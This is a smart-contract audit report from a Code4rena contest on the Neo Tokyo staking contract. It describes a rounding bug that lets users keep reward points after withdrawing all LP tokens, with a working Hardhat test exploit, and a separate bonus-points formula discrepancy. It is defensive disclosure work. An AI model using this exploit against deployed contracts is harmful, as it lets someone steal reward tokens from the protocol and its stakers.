Neo Tokyo contest - Jeiwan's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623

Vulnerability details

Impact

Any user can earn BYTES rewards without staking any tokens. The ability is not limited by time, meaning that users can earn rewards indefinitely, without having any tokens staked.

Proof of Concept

The NeoTokyoStaker._stakeLP function allows users to stake LP tokens and lock them in the contract to receive rewards in BYTES tokens during the staking period. To distribute rewards fairly and proportionally to the amount of tokens staked, each staked position receives an amount of points. Likewise, when users withdraw staked LP tokens via the NeoTokyoStaker._withdrawLP function, an amount of points proportional to the amount of tokens withdrawn is removed from users. The amount of points is calculates as follows:

uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

However, this calculation is subject to a loss of precision: if amount * 100 is less than 1e18, then amount * 100 / 1e18 will equal to 0. In other words, if a user withdraws less than 100 / 1e18 LP tokens, 0 points will be reduced from them. The points will be left on user's balance and will continue accumulate rewards.

The following proof of concept demonstrates the scenario when a user breaks the withdrawal of their entire LP tokens stake into smaller withdrawals of 0.009 LP tokens. After doing that, the use has 0 LP tokens stake and a positive balance of points, which infinitely accumulates rewards for the user.

// Add this test case to test/NeoTokyoStaker.test.js

// 	describe('with example configuration', function () {
describe.only('when withdrawing small amounts of LP tokens', function () {
  it('it doesn\'t reduce points', async function () {
    await NTStaking.connect(owner.signer).configureLP(LPToken.address);

    // Alice deposits 0.02 LP tokens.
    await NTStaking.connect(alice.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS['30'],
      ethers.utils.parseEther('0.02'),
      0,
      0
    );
    let priorBlockNumber = await ethers.provider.getBlockNumber();
    let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    let aliceStakeTime = priorBlock.timestamp;

    let alicePosition = await NTStaking.getStakerPositions(alice.address);
    alicePosition.stakedLPPosition.amount.should.be.deep.equal(
      ethers.utils.parseEther('0.02')
    );
    // Alice has receive 2 points for the 0.02 LP tokens deposited.
    alicePosition.stakedLPPosition.points.should.be.deep.equal(
      ethers.BigNumber.from(2)
    );

    // Fast-forwarding 30 days to unlock the stake.
    await ethers.provider.send('evm_setNextBlockTimestamp', [
      aliceStakeTime + (60 * 60 * 24 * 30)
    ]);

    // Alice withdraws her LP tokens in three steps: 0.009, 0.009, 0.002.
    let aliceBalanceInitial = await LPToken.balanceOf(alice.address);
    await NTStaking.connect(alice.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther('0.009')
    );
    await NTStaking.connect(alice.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther('0.009')
    );
    await NTStaking.connect(alice.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther('0.002')
    );

    // Alice has received her entire stake back...
    let aliceBalance = await LPToken.balanceOf(alice.address);
    aliceBalance.sub(aliceBalanceInitial).should.be.deep.equal(
      ethers.utils.parseEther('0.02')
    );

    alicePosition = await NTStaking.getStakerPositions(alice.address);
    alicePosition.stakedLPPosition.amount.should.be.deep.equal(
      ethers.utils.parseEther('0')
    );
    // ... however Alice is still holding 2 points, which can generate rewards
    // for Alice without her staking any LP tokens.
    alicePosition.stakedLPPosition.points.should.be.deep.equal(
      ethers.BigNumber.from(2)
    );


    // Fast-forwarding 30 more days to collect rewards on the 2 points.
    let aliceBYTESBalanceInitial = await NTBytes2_0.balanceOf(alice.address);
    priorBlockNumber = await ethers.provider.getBlockNumber();
    priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    await ethers.provider.send('evm_setNextBlockTimestamp', [
      priorBlock.timestamp + (60 * 60 * 24 * 30)
    ]);

    // Alice has earned ~1455 BYTES tokens without staking any LP tokens!
    await NTCitizenDeploy.connect(alice.signer).getReward();
    let aliceBYTESBalance = await NTBytes2_0.balanceOf(alice.address);
    aliceBYTESBalance.sub(aliceBYTESBalanceInitial).should.be.deep.equal(
      ethers.utils.parseEther('1454.999999999998230720')
    );
  });
});

Tools Used

Manual review

Recommended Mitigation Steps

In the NeoTokyoStaker._withdrawLP function, consider reverting if the amount of points to remove is 0 while the amount of LP tokens to withdraw is positive. This means that amounts that don't make up a whole point will be locked in the contract, but this should be find as this is in line with the points calculation during staking, i.e., due to rounding, amounts that don't make up a whole point won't add a point.

[L-01] BYTES staking bonus points calculation contradicts the specification

Targets

• https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1077
• https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1098

Impact

Stakers of BYTES tokens will receive 100 times more points than expected.

Sine this issue doesn't negatively affect any parties (any user is able to choose to stake BYTES tokens and benefit from the increased rate), I think it's a low severity issue.

Proof of Concept

The NeoTokyoStaker._stakeBytes function allows users to boost the reward of their staked S1 and S2 tokens by staking BYTES tokens. Staking of BYTES tokens increases the points of the staker, which increases the share of the rewards the stakers receive. As per the specification, the amount of points is calculated at the rate of 200 staked BYTES tokens per 1 point:

Staking participants may also stake BYTES 2.0 tokens into their S1 or S2 Citizens in order to boost the points weight of those Citizens at a rate of 200 BYTES per point.

However, in the implementation the formula is different: for both S1 and S2 Citizen tokens, the amount of staked BYTES tokens is multiplied by 100 before being divided by the exchange rate:

uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT);

As a result, stakers of BYTES tokens will receive 100 times more points than expected.

Tools Used

Manual review

Recommended Mitigation Steps

Consider updating the specification and mentioning the 100 multiplier. Or consider updating the code and removing the 100 multiplier.